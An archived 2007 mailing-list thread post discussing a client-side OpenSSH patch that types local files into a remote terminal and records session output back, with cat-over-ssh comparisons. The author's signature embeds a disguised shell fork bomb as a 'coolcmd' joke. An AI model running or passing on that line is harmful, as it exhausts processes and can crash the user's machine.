Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | Re: typing local files through ssh |
|---|---|
| Date: | Fri, 26 Jan 2007 09:40:09 -0600 |
I'm sure I'm missing something here. So I'll just ask, how does this differ from using cat the transfer the files through ssh?
For example:
Server => Client
ssh server.domain.com "cat /home/user/file.tmp" >>file.tmp
Client => Server
cat file.tmp | ssh server.domain.com "cat - >>/home/user/file.tmp"I guess your patch would allow this to be done without opening an ssh session just to transfer the file. Meaning you could escape out of an interactive ssh session and transfer the file..?
This mail didn't seem to go through to the development list (at least not to the MARC archive), so I'm sending it here too.
Hello.
Here is a patch to allow for sending data from a local file on the client to the terminal of the server as if typed. I implemented it through the escape keys. The reverse is also there, recording your session and storing it on the client host.
The patch is client-side only, and should work with all servers (not tested).
I'm using it for transferring files multiple hops (after a uuencode), so that I don't need to open more (multi-hop) connections, do forwarding or downloading one hop at a time.
Example of Sending, meaning client->server (all this in one terminal, with [this typed]): ----- client$ [echo hello world > teh_file] client$ [ssh server] server$ [cat > teh_file] [~S] Local file> teh_file hello world [^D] server$ [cat teh_file] hello world server$
Replace cat with uuencode for binary stuff. Or do it always.
Fetching server->client: ------- client$ [ssh midpoint] midpoint$ [ssh server] server$ [~F] Save to local file> booty.db.uu server$ uuencode booty.db booty.db begin 644 booty.db ... ... end server$ [~F] Closing fetch script file server$ [exit] mid$ [exit] client$ [cat booty.db.uu] uuencode booty.db booty.db <-- saved in file :-( begin 644 booty.db ... ... server$ <-- not a prompt, saved in file :-( client$
uudecode strips the extra stuff without complaining.
It's enabled with PermitLocalCommand, because the security aspect of them is similar to that one.
Since it's client-only, you can even use it to download a router conf through telnet: ssh to locahost, then telnet to the router and record doing "sh ru". Yes, I know this can be done with "script", it's just an example.
Things I'm not pleased with: * for fetch_script, "sniffing" in channels.c. There must be a better place. also, it's probably taking in too much there. * used as-is, the fetch will not transfer just a file, since you get garbage before and after. The uudecoding above fixes that, though. * The escape letters (S/F). Maybe U/D for upload/download? * I'd really like these to be 8-bit clean and not have to go through uuencode. I don't really see how, though, without changing the server too. * should probably have its own config item. PermitScripting or much better * everything is echoed by default. Of course, you can turn off echo on the server for uploading, but something may need to be done for downloading * should this all be under escape-C? * the prompts suck
Patch is against 4.5p1.
--------- typedef struct me_s { char name[] = { "Thomas Habets" }; char email[] = { "thomas@habets.pp.se" }; char kernel[] = { "Linux" }; char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" }; char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" }; char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" }; } me_t;
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | FW: Can't connect to one server from a particular LAN, Mark Sanders |
|---|---|
| Next by Date: | Re: typing local files through ssh, Thomas Habets |
| Previous by Thread: | typing local files through ssh, Thomas Habets |
| Next by Thread: | Re: typing local files through ssh, Thomas Habets |
| Indexes: | [Date] [Thread] [Top] [All Lists] |